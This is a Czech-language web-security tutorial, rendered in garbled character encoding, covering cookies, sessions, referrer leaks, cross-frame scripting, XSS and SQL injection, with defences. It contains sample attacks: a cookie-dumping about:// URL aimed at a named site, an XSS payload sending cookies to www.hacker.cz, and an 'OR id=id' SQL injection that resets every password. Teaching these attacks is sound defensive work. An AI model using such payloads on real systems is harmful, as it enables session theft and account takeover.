Intro('Vytvß°enφ webov²ch aplikacφ je stßle Φast∞jÜφ programßtorskß Φinnost. Aplikace a jejich slu₧by, kterΘ jsme dodnes znali pouze z klasickΘho program.exe-pojetφ se z pochopiteln²ch d∙vod∙ stßle Φast∞ji p°esouvajφ do sv∞ta internetu. Provoz takov²ch to aplikacφ je po poΦßteΦnφ investici jednoduÜÜφ, levn∞jÜφ rychlejÜφ a v∙bec tento zp∙sob poskytovßnφ slu₧eb mß v nespoΦetnΘ v²hody, ze kter²ch t∞₧φ ob∞ strany.');
Stejn∞ tak jako jinß prost°edφ, mß internet svß specifika v oblasti bezpeΦnosti, pro n∞j typickΘ a nikde jinde se nevyskytujφcφ. ZaΦφnajφcφ webov² programßtor, okouzlen jednoduchostφ a₧ primitivnostφ spojenφ Microsoftφho Personal Web Serveru a AccessovΘ databßze, mß Φasto pon∞kud laxnφ p°φstup k poznßnφ skuteΦnΘho jßdra v∞ci, co₧ se odrß₧φ v d∙sledcφch, kterΘ nejsou na prvnφ pohled vid∞t. Aplikace jako takovß funguje (pokud jφ jsou dßvßny data, kterß autor p°edpoklßdß), logovßnφ u₧ivatel∙ do systΘmu takΘ funguje a vÜechno se zdß b²ti v naprostΘm po°ßdku. Programßtor∙m Microsoft Passportu se to takΘ zdßlo, dokud je n∞kdo nevyvedl z omylu.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Tento Φlßnek by m∞l p°edstavovat jak²si d∙kladn∞jÜφ äpr∙letô vÜemi zßkoutφmi a obtφ₧emi v programovacφch jazycφch (a skriptech) jako jsou HTML, JavaScript, PHP/ASP a SQL. Cφlem je upozornit na mo₧nΘ nedostatky a p°edejφt chybßm a potencionßlnφm dφrßm. äHacknutφô na tΘto ·rovni je podle mΘho nßzoru Φasto trapnΘ ne₧ cokoliv jinΘho.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
╚tenß°i p°ipomφnßme, ₧e na Krypt∞ ji₧ vyÜly dva dφly Φlßnku o bezpeΦnosti www, jejich₧ znalost zde p°edpoklßdßme. N∞kterΘ relevantnφ informace budou zopakovßny.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> <a href=articles.php@ID=32>BezpeΦnost HTTP a WWW, dφl prvnφ</a></UL>
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> <a href=articles.php@ID=33>BezpeΦnost HTTP a WWW, dφl druh²</a></UL>
</DIV></FONT></b></i>
<A Name="Title1"><FONT Size=3><DIV Class=Headline>PROBL╔M PRVN═ : BezpeΦnost cookies a anonymita</DIV></font>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
O bezpeΦnosti cookies byl mohl b²t napsßn cel² Φlßnek. Pravda je takovß, ₧e server vßm na poΦφtaΦ nem∙₧e ulo₧it ₧ßdnß ne₧ßdoucφ data, ka₧d² server m∙₧e podle specifikace ulo₧it maximßln∞ 20 cookies o dΘlce 4 kb. Mnoho lidφ ze strachu vypφnß cookies a divφ se proΦ jim to Φi ono na webu nefunguje. Dnes je tato technika velmi hojn∞ pou₧φvanß a lidΘ s vypnut²mi cookies jsou noΦnφ m∙rou webov²ch programßtor∙. AΦ se to m∙₧e zdßt podle nßzvu soubor∙ zvlßÜtnφ, cookies nejsou vßzßny na konkrΘtnφ jmΘno Φi e-mail. Jsou vßzßny pouze na urΦitou URL, nejΦast∞ji domΘnu druhΘho stupn∞ (server.cz). NicmΘn∞ m∙₧ou b²t svßzßny s jak²mkoliv adresß°em Φi dokumentem. U hojn∞ pou₧φvan²ch domΘn co.xx se cookie vß₧ou i na 3. stupe≥, tedy nap°. na firma.co.uk. Cookie m∙₧e Φφst pouze ten server, kter² ho odeslal.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Up°φmn∞ °eΦeno, minul² odstavec popisoval ideßlnφ p°φpad. P°esto₧e zamezenφ Φtenφ cookie jin²m serverem ne₧ tφm, kter² jej ulo₧il, je naprosto zßsadnφ bezpeΦnostnφ aspekt, chyby prohlφ₧eΦ∙ p°i kontrolovßnφ URL serveru nejsou nijak sporadick²m jevem, poslednφ velik² äboomô vyvolala chyba v Internet Exploreru, kterou si detailn∞ji popφÜeme.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Explorer pou₧φvß ji₧ od verze 4.0 pro svΘ internφ ·Φely jak²si pseudo protokol äabout://ô. Nenφ to ₧ßdn² regulΘrnφ internetov² protokol, p°φkaz, uvozen² tφmto slovem, vyvolß urΦitou akci uvnit° prohlφ₧eΦe. Pokud nenφ ₧ßdn² p°φkaz rozpoznßn, text za about: se prost∞ vypφÜe. Zkuste si to sami. Pokud do panelu Adresa zadßte about:Text, Explorer vrßtφ HTML strßnku s obsahem<HTML>Text</HTML>. Nynφ si p°edstavme jak asi funguje kontrolovßnφ vlastnφka cookies. Z aktußlnφho URL se od°φzne protokol (ähttp://ô) a vyzkouÜφ se, zda takovßto adresa zleva odpovφdß atributu path (viz syntaxe) v ulo₧enΘm cookie (podrobn∞jÜφ url se ignoruje). Zde je podle mΘho nßzoru kßmen ·razu : Explorer nejspφÜe pova₧uje sv∙j about za regulΘrnφ protokol, tedy strßnka about://www.server.cz mß p°φstup ke cookies, kterΘ ulo₧il server http://www.server.cz, co₧ je docela zßsadnφ chyba. P°esv∞dΦφme se o tom, pokud do prohlφ₧eΦe URL about://www.navrcholu.cz/<SCRIPT>alert(document.cookie)</SCRIPT>. Zobrazφ se nßm kompletnφ v²pis vÜech cookies serveru navrcholu.cz (vybral jsem ho zßm∞rn∞, nebo¥ posφlß cookies s ka₧d²m stßhnutφm svΘho poΦφtadla a je tedy pravd∞podobnΘ, ₧e n∞jakΘ na svΘm poΦφtaΦi mßte).
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Je nutnΘ podotknout, ₧e chyba z n∞jakΘho d∙vodu nefunguje pod Windows °ady NT, tedy i 2k. Je mi zßhadou, proΦ vydßnφ p°φsluÜnΘ opravy trvalo Microsoftu 14 (!) dnφ. NicmΘn∞ bez aplikovßnφ zßplaty je Explorer nadßle d∞rav² a bezpeΦnost vaÜφ aplikace je tedy zßvislß na u₧ivatelov∞ äpoΦφtaΦovΘm rozhleduô. Nßvod a p°φklad, jak jeden server m∙₧e Φφst cookies jinΘho, jsme uve°ejnili na Krypt∞ (viz reference).
Nebudu se ani pokouÜet o Φesk² p°eklad tohoto slova, proto₧e by to jednak bylo obtφ₧nΘ a navφc se ₧ßdn² Φesk² ekvivalent nepou₧φvß (snad mimo slova äsezenφô, kterΘ jß osbn∞ poklßdßm za dost Üroubovan² p°eklad). Pro nßzornou p°edstavivost si m∙₧eme toto slovo p°irovnat k n∞Φemu jako je spojenφ Φi b∞h. Session je jak²si zßznam na serveru, kter² se inicializuje p°i naÜem naΦtenφ prvnφ strßnky a skonΦφ bu∩ vyprÜenφm urΦitΘho ΦasovΘho intervalu, nebo pokud p°φmo klikneme na odkaz "odhlßsit se", typicky v n∞jakΘ webovΘ aplikaci. Hlavnφ v²hodou je, ₧e od tΘ doby si nßs server vede ve svΘ internφ databßzi a programßtor m∙₧e pou₧φvat prom∞nnΘ v rßmci tΘto session(y) [seÜny].
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Smysl pou₧φvßnφ sessions je v tom, ₧e pot°ebujeme zachovat urΦitou ätrasuô nßvÜt∞vnφkova pobytu na naÜem webu, resp. ₧e proÜel logovacφm procesem.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Typick² logovacφ mechanismus funguje asi nßsledovn∞. P°i prvnφm vstupu na web se na serveru zalo₧φ unikßtnφ u₧ivatelova session s jakousi pomyslnou prom∞nnou logged nastavenou na false. Po odeslßnφ p°ihlaÜovacφho formulß°e se porovnß jmΘno a heslo s ·daji v databßzi a v p°φpad∞ souhlasu se logged nastavφ na true. Od tΘto doby je nßvÜt∞vnφk prost°ednictvφm svΘ session na serveru p°ihlßÜen do webovΘ aplikace. P°i ka₧dΘm ·konu v nφ se testuje jestli je session platnß (a logged nastaveno na true) a jestli objekt, se kter²m se pracuje (nap°. heslo k u₧ivatelskΘmu ·Φtu) pat°φ tomu, kdo je pomocφ session nalogovßn. Nebo jinak: nap°φklad p°i zm∞n∞ hesla se musφ zkontrolovat, zda ho m∞nφm tomu ·Φtu, pod kter²m jsem nalogovßn.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Jak se takovΘto vlßkno udr₧φ? V principu jsou t°i mo₧nosti. HTTP autorizace, cookies a ID session v odkazu. A¥ je pou₧it jak²koliv zp∙sob, principem je, ₧e vÜechny HTTP dotazy se än∞kdeô identifikujφ jednoznaΦn²m °et∞zcem, zßvisl²m na p°ihlaÜovacφch ·dajφch.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Klasickß HTTP autorizace je dob°e znßmß. P°i nalogovßnφ se nßm otev°e dialog se jmΘnem a heslem. Toto p°ihlaÜovacφ jmΘno a heslo si potΘ prohlφ₧eΦ pamatuje a posφlß ho p°i ka₧dΘm dotazu.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
V dobßch, kdy poΦet browser∙ s vypnut²mi cookies p°edstavoval nezanedbatelnΘ procento, se pou₧φvalo p°edßvßnφ unikßtnφho session ID v odkazech. Po nalogovßnφ do webovΘ aplikace m∞l ka₧d² odkaz tvar
Takto se unikßtnφ identifikßtor SessionID p°edßvß ze strßnky na strßnku. P°i ztrßt∞ äkontinuityô prohlφ₧enφ je nutnΘ se p°elogovat. Tato metoda se Φasto pou₧φvß i dnes, nicmΘn∞ z programßtorskΘho hlediska p°edstavuje jistou zbyteΦnou nßmahu navφc.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Asi nejpou₧φvan∞jÜφ metoda udr₧enφ session jsou cookies. SessionID se prost∞ poÜle p°i nalogovßnφ jako cookie, browser si ho zapamatuje a p°i ka₧dΘm HTTP dotazu ho v hlaviΦce posφlß zp∞t serveru. Kontrolovßnφ platnosti probφhß obvykl²m zp∙sobem.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
R∙znΘ implementace bezpeΦnΘho logovßnφ mohou v URL (vlastn∞ v∙bec ve vÜech t°ech p°φpadech) p°enßÜet libovoln² °et∞zec, nemusφ v₧dy jφt o jakΘsi IDΦko äsezenφô. A¥ u₧ jde o bezpeΦnostnφ k≤d nebo cokoliv jinΘho, ädobytφô tΘto hodnoty obvykle znamenß mo₧nost duplikace identity (jednßnφ pod cizφm jmΘnem apodà), tedy vlastn∞ pr∙nik do systΘmu.
Pokud nenφ spojenφ klient-server zabezpeΦenΘ n∞jak²m asymetrick²m Üifrovßnφm, je v₧dy mo₧nΘ z odposlechu komunikaci okopφrovat a vydßvat se tak za n∞koho jinΘho (za nalogovanΘho Φlov∞ka). Tomuto termφnu se odborn∞ °φkß äukradnout sezenφô.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Je jasnΘ, ₧e klφΦem ke vÜemu je ta kouzelnß prom∞nnß SessionID. Jakmile jφ zφskßme, m∙₧eme jak²koliv dotaz replikovat.
Pojem, kter² mß jist∞ ve sv∞t∞ webovΘ bezpeΦnosti mφsto, je tzv. cross-frame scripting.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Firma Microsoft p°inesla se sv²m Explorerem 4.0 takzvanΘ DHTML. Nevφm, zda je to p∙vodn∞ jejich myÜlenka, nicmΘn∞ v dobßch Φty°kov²ch verzφch obou prohlφ₧eΦ∙ to byl rozhodn∞ skok dop°edu, revoluΦnφ technologie, kterß odsunula tehdejÜφ Navigator hluboko do pozadφ. DynamickΘ HTML samo o sob∞ nic nenφ, je to pouze pojmutφ äv∞cφô na HTML strßnce jako jednotlivΘ objekty s vlastnφmi udßlostmi a metodami, a jejich za°azenφ do jednoho velikΘho stromu.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
┌pln∞ naho°e je objekt window. Pod n∞j spadajφ jednotlivΘ rßmy (frames) se sv²mi dokumenty. Z filozofie takovΘhoto hierarchickΘho Φlen∞nφ je mo₧nΘ z jednoho rßmu p°istupovat k obsahu rßmu druhΘho, co₧ s sebou nese jistß bezpeΦnostnφ rizika. Nap°φklad v podob∞ v²Üe popsanΘho skriptu. Shr≥me si nynφ, jakß jsou prßva jednotliv²ch rßm∙ a kam m∙₧ou p°istupovat.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Dokumenty k sob∞ mohou navzßjem p°istupovat, pouze pokud se shodujφ jejich ädomΘnovΘô URL. V podstat∞ by zde mohlo b²t uvedeno totΘ₧ co u cookies, vΦetn∞ v²jimek u n∞kter²ch hojn∞ pou₧φvan²ch domΘn druhΘho stupn∞. Navφc HTTP obsah nem∙₧e p°istupovat k HTTPS obsahu (Secure Socket Layer). Omezenφ jsou zde i v p°φpad∞ Φtenφ cizφ URL, co₧ by se ·toΦnφkovi mohlo p°φpadn∞ hodit ke Φtenφ SessionID z aktußlnφ adresy. V tabulce vidφte mo₧nosti manipulovßnφ s adresami jednotliv²ch rßm∙.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Mo₧nosti manipulovßnφ s parametrem SRC (tj. URL) framu cizφ domΘny:
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> <SPAN Class=CODE>window.location</SPAN> <br> Vlastnost m∙₧e b²t nastavovßna pro navigovßnφ ale ne Φtena </UL>
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> Ostatnφ funkce <SPAN Class=CODE>location</SPAN> <br> Jsou zablokovßny</UL>
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> <SPAN Class=CODE>document.href</SPAN> <br> Vlastnost m∙₧e b²t nastavovßna pro navigovßnφ ale ne Φtena<br></UL>
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> Ostatnφ funkce <SPAN Class=CODE>document</SPAN> <br> Jsou zablokovßny<br></UL>
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> <SPAN Class=CODE><IFRAME> src</SPAN> Vlastnost m∙₧e b²t nastavovßna pro navigovßnφ ale ne Φtena</UL>
</DIV></FONT></b></i>
<A Name="Title6"><FONT Size=3><DIV Class=Headline>PROBL╔M ╚TVRT▌ : ╚tenφ URL a referrer</DIV></font>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Pokud pro p°enßÜenφ SessionID pou₧φvßme metodu parametru v aktußlnφ URL, musφme si dßt velme velik² pozor, abychom ji nevystavovali tam, kde hrozφ jejφ zkompromitovßnφ. Jinak °eΦeno, pozor na mφsta, kde se jaksi ävyvß₧φ venô. Jedno takovΘ ·skalφ je v ka₧dΘm HTTP dotazu : v tzv. referreru se p°edßvß adresa, kterß p°edchßzela po₧adavku aktußlnφmu, resp. strßnka, ze kterΘ bylo na tu aktußlnφ kliknuto.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
VÜe dokumentuji na konkrΘtnφm p°φpad∞ chatovacφho serveru xchat, jeho bezpeΦnostnφ dφra byla nedßvno popisovßna na serveru Underground. Zkrßtka a jednoduÜe do äkecßnφô m∙₧ete psßt i HTTP odkazy, kterß jejich parser automaticky poznß a p°evede do äkliknutelnΘô formy. Tedy nap°φklad pokud napφÜete äAhoj MaruÜ, koukni se na http://www.krypta.czô, systΘm zobrazφ äAhoj MaruÜ, koukni se na <a href=http://www.krypta.cz<http://www.krypta.cz</a>ô. MaruÜ tedy nemusφ link opisovat, staΦφ kliknout. Jen₧e s kliknutφm se p°enese v referreru aktußlnφ URL vΦetn∞ bezpeΦnostnφho °et∞zce tedy www.xchat.cz/?secure=1234567890ABCDEF. Na cφlovΘ strßnce je mo₧nΘ ·daj zachytit a tφm zφskat takovß prßva do systΘmu, jakΘ m∞la naÜe ob∞¥. V tomto p°φpad∞ nebezpeΦnost popisovanΘ chyby nenφ a₧ tak hroznß, ·toΦnφk m∙₧e po ·sp∞ÜnΘm provedenφ ämaximßln∞ô chatovat pod cizφm jmΘnem nebo m∞nit nastavenφ. Daleko vφce se tento problΘm t²kß webov²ch e-mailov²ch klient∙, kte°φ podporujφ zobrazovßnφ HTML (a¥ u₧ v∞domky nebo nev∞domky ;-), afΘry v tΘto oblasti jsou starΘ pßr let. Referrer se p°edßvß i kdy₧ se novß strßnka otev°e v novΘm okn∞. V javascriptu je tak Φi onak dostupn² jako document.referrer.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Pokud je vaÜφm heslem änic nenechat nßhod∞ô a cφlov² systΘm je dostateΦn∞ tup², nenφ proΦ pou₧φvat odkazy. Pomocφ JavaScriptu si prost∞ strßnku p°esm∞rujeme : <SCRIPT>document.location=öàö à
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Nenφ to ovÜem jenom p°i kliknutφ, kdy se tato operace d∞je. URL ärodiΦovskΘô strßnky se p°edßvß p°i ka₧dΘm dotazu, tedy i p°i naΦφtßnφ obrßzku!
</DIV></FONT></b></i>
<A Name="Title7"><FONT Size=3><DIV Class=Headline>Jak se brßnit?</DIV></font>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
NejjednoduÜÜφm °eÜenφm je eliminovat veÜkerΘ HTML prvky od u₧ivatele. Link si klidn∞ mohou opsat, maily jsou ΦitelnΘ i v plaintextovΘ podob∞.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Pokud bychom cht∞li ovÜem zachovat veÜkerou funkΦnost, musφme se na problΘm podφvat trochu komplexn∞ji. Je t°eba, aby nßÜ parser zam∞nil vÜechny odkazy za jeden jedin², kter² nebude pou₧φvat p°edßvßnφ bezpeΦnostnφho k≤du v URL. V praxi to bude fungovat asi takhle : odkaz www.cizi.cz bude zm∞n∞n na www.muj.cz/jump.php?url=www.cizi.cz. Soubor jump.php potom vygeneruje n∞co jako P°esm∞rovßn na www.cizi.czà<SCRIPT>doument.location=www.cizi.cz;</SCRIPT>. Takovß malß rada : p°esnΘ aplikovßnφ prßv∞ popsanΘho skriptu zp∙sobφ nefunkΦnost kliknutφ na tlaΦφtko Back, nebo¥ u₧ivatel je zßhy op∞t p°esm∞rovßn äForwardö.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
P°i aplikovßnφ t∞chto obrann²ch postup∙ je nutnΘ jednak zkontrolovat na HTML k≤d skuteΦn∞ vÜechna data od u₧ivatele, kterß se kdy mohou na obrazovku vypsat (Co t°eba v∞k chatujφcφho?), jednak poΦφtat s tφm, ₧e odkaz nemusφ b²t p°edßn v₧dy jen parametrem href.
P°i pou₧φvßnφ formulß°∙ se m∙₧e stßt, ₧e ·myslnΘ vlo₧enφ HTML tag∙ do inputboxu zp∙sobφ vykonßnφ k≤du, kter² bude mφt prßva k vaÜim cookies! Uvedu mal² p°φklad. Server pana Novßka nabφzejφcφ podrobnΘ statistiky o nßvÜt∞vnosti uklßdß permanentnφ cookies u ka₧dΘ navÜtφvenΘ strßnky (to d∞lß jak Navrcholu tak Toplist, je to u₧iteΦnß funkce). Jen₧e pan Novßk opomenul ve v²sledku vyhledßvßnφ p°evΘst znaky <> na & lt; a & gt;. Pokud ze svΘ strßnky zavolßme (nap°. v IFRAMU) adresu www.novak.cz?hledej=<SCRIPT>document.location=www.hacker.cz?+document.cookies;/</SCRIPT>, zφskßme tak minimßln∞ www strßnky, kterΘ ob∞¥ naΦetla, dokonce i s Φasem nßvÜt∞vy. Docela sluÜnß ztrßta anonymity, navφc jsme zφskali docela u₧iteΦnß marketingovß data. NaÜt∞stφ jde problΘm jednou ranou na serveru odstranit, nicmΘn∞ minimßln∞ den bude pan Novßk na internetu vlßΦen pomysln²m digitßlnφm binßrnφm bahnemà
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
I kdy₧ cookies uklßdanΘ vaÜφm serverem nejsou zrovna d∙v∞rnΘ povahy (r∙znß nastavenφ apodà), neoÜet°enφ tohoto problΘmu dßvß mo₧nost zjistit, zda nßvÜt∞vnφk vßÜ server navÜt∞vuje a podle v²sledku na n∞j t°eba zacφlit (konkurenΦnφ!) reklamu (pakli₧e cookies neposφlß ka₧dß strßnka, to by pochopiteln∞ nefungovaloà). A kolik ₧e stojφ u vßs t∞ch tisφc impresφ? àtolik? D∞kuji, mßm jeÜt∞ jinΘ prost°edkyà Tento problΘm je v principu pln∞ äfunkΦnφô ve vÜech prohlφ₧eΦφch a na vÜech platformßch.
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Pokud dovolφme, aby ·toΦnφk vklßdal na naÜe strßnky sv∙j k≤d, otevφrßme mu Φist∞ teoreticky dalÜφ mo₧nost pr∙niku. Jeliko₧ je takov²to cizφ k≤d pova₧ovßn za nßÜ, cross-frame scripting policy popisovan² o pßr odstavc∙ nφ₧e ho povolφ a obsah naÜφ strßnky je pln∞ (na ·rovni DHTML) vydßn n∞komu cizφmuà
V drtivΘ v∞tÜin∞ p°φpad∙ prolomenφ bezpeΦnostnφch mechanizm∙ na ·rovnφ, o kterΘ si dnes povφdßme, hraje funkΦnost JavaScriptu klφΦovou roli. AΦkoliv se jednß pouze o skript b∞₧φcφ s velk²mi omezenφmi, v rukou nep°φtele jde o velmi siln² nßstroj. P°itom pouhΘ p°esm∞rovßnφ strßnky pomocφ vlo₧enΘho javascriptu m∙₧e b²t pro provozovatele velikß rßna. Nejen₧e web p°estßvß b²t funkΦnφ, ale cφlovß adresa m∙₧e b²t nap°φklad nabφdka konkurence apod. Doufßm, ₧e si to programßto°i serveru Äiv∞ uv∞domφ, nebo¥ diskuse k Φlßnku o hackovßnφ freemail∙ je plnß (·sp∞Ün²ch) pokus∙ o p°esm∞rovßnφ...
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Tedy, jak se brßnit? Problematick² JavaScript m∙₧e b²t do strßnky vlo₧en t∞mito zp∙soby :
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> P°φmo pomocφ tagu <SCRIPT>. Ten se m∙₧e "p°ipφchnout" urΦitΘmu objektu a udßlosti pomocφ parametr∙ FOR a EVENT, tedy nap°. <SCRIPT FOR="form1" EVENT="submit"></UL>
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> Jako udßlost n∞jakΘho objektu. Takov²to skript m∙₧e ovlivnit vlastnφ tok dat velmi omezen∞. M∙₧e ale m∞nit jakΘkoliv HTML vlastnosti, vΦetn∞ p°esm∞rovßnφ. NebezpeΦnß je p°edevÜφm udßlost onload (k≤d se spustφ ihned po naΦtenφ objektu), ale ke stejn²m ·Φel∙m m∙₧e nap°. u obrßzku slou₧it onreadystatechange nebo onerror. Pokud je objektem odkaz, p°ipadß v ·vahu "hejh∙°e" onmouseover. V tomto p°φpad∞ nenφ vykonßnφ k≤du jistΘ, pravd∞podobn∞ zßvisφ na velikosti objektu. Ta m∙₧e ovÜem b²t kaskßdov²mi styly zm∞n∞na, stejn∞ tak jako absolutnφ poloha. Okam₧itΘ spuÜt∞nφ je tak mo₧nΘ.</UL>
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> IFRAME s cizφm obsahem. Takov²to objekt m∙₧e d∞lat vÜe, co se net²kß p∙vodnφ strßnky, tedy otvφrat novß okna, p°esm∞rovat prohlφ₧eΦ apod.</UL>
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
<UL STYLE="margin-right:50px;" Class=LinkItem><LI> IFRAME s vlastnφm obsahem. Jeliko₧ jde o stejnou domΘnu, mß pomocφ DHTML stejnΘ mo₧nosti, jako skript vlo₧en² pomocφ tagu <SCRIPT></UL>
╚ast²m bezpeΦnostnφm problΘmem je opomenutφ ävyescapovßnφô r∙zn²ch citliv²ch znak∙, nejΦast∞ji uvozovek a apostrof∙. Zmφnil bych se o tom jen v principu, nebo¥ konkrΘtnφ zneu₧itφ takovΘhoto problΘmu je vysoce individußlnφ a zßvisφ na konkrΘtnφ implementaci. Tedy, u₧ivatelskΘ vstupy z internetov²ch formulß°∙ b²vajφ velmi Φasto nßsledn∞ obsa₧eny v SQL dotazech. Z tohoto d∙vodu je nutnΘ zabrßnit tomu, aby u₧ivatel mohl s dotazem jakkoliv manipulovat. Typick² p°φklad m∞n∞nφ hesla do www aplikace. V HTML k≤du mßme skryt² (hidden) input äidô, identifikujφcφ jedineΦnΘ idΦko u₧ivatelova ·Φtu. Dotaz, kter² zm∞nφ heslo m∙₧e vypadat nap°φklad nßsledovn∞ (PHP) : UPDATE Accounts SET Password=Æ$newpassÆ WHERE id=$id. Takov²to SQL p°φkaz ovÜem m∙₧eme vhodnou modifikacφ neviditelnΘho ale p°episovatelnΘho idΦka zm∞nit t°eba na takovouhle pohromu : UPDATE Accounts SET Password=ÆhesloÆ WHERE id=123 OR id=id. P∙vodnφ Φφselnou hodnotu 123 jsme tedy zm∞nili na ä123 OR id=idö, kterß zp∙sobφ, ₧e slo₧en² v²rok (nebo, or) bude pravdiv² v₧dy a heslo ähesloô se nastavφ VèEM ·Φt∙m v systΘmu! Ugh!
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Obrana je relativn∞ jednoduchß. Server-side skriptovacφ jazyky (PHP, ASPà) majφ pov∞tÜinou funkce, kterΘ nebezpeΦnΘ znaky n∞jak²m zp∙sobem zak≤dujφ. Na ·rovni HTML se znaky < > a ö p°evßd∞jφ na & lt; & gt; a & quot; (v tomto po°adφ), na ·rovni SQL se pou₧φvß zp∞tnΘho lomφtka p°ed znakem, tedy t°eba Æ se nepova₧uje za äfunkΦnφô apostrof. Zßle₧nφ na konkrΘtnφm jazyku, v PHP se nap°φklad pou₧φvajφ funkce AddSlashes() a StripSlashes(). Takovß malß poznßmka na konec : i kdy₧ v SQL dotazu porovnßvßme sloupec na Φφslo, Φasto je mo₧nΘ psßt ho do apostrof∙ (t°eba u MySQL), zde ukazovan² chybn² p°φklad by m∞l sprßvn∞ konΦit MySQL_Query(äà WHERE id=æô.AddSlashes($pass).ôæàô). P°i programovßnφ sofistikovan∞jÜφho parseru doporuΦuji v∞ci nep°ekombinovat, aby se vßm n∞jakß ulφtlß sekvence nep°ekonvertovala zp∞t na nikdy necht∞nΘ hodnotyà
</DIV></FONT></b></i>
<FONT Size=2><DIV Align=Justify Class=Paragraph>
Toto by m∞la b²t struΦnß pr∙prava zßkladnφmi mechanizmy bezpeΦnΘ webovΘ aplikace. V p°φÜtφm dφle se pustφme do vlastnφho programovßnφ.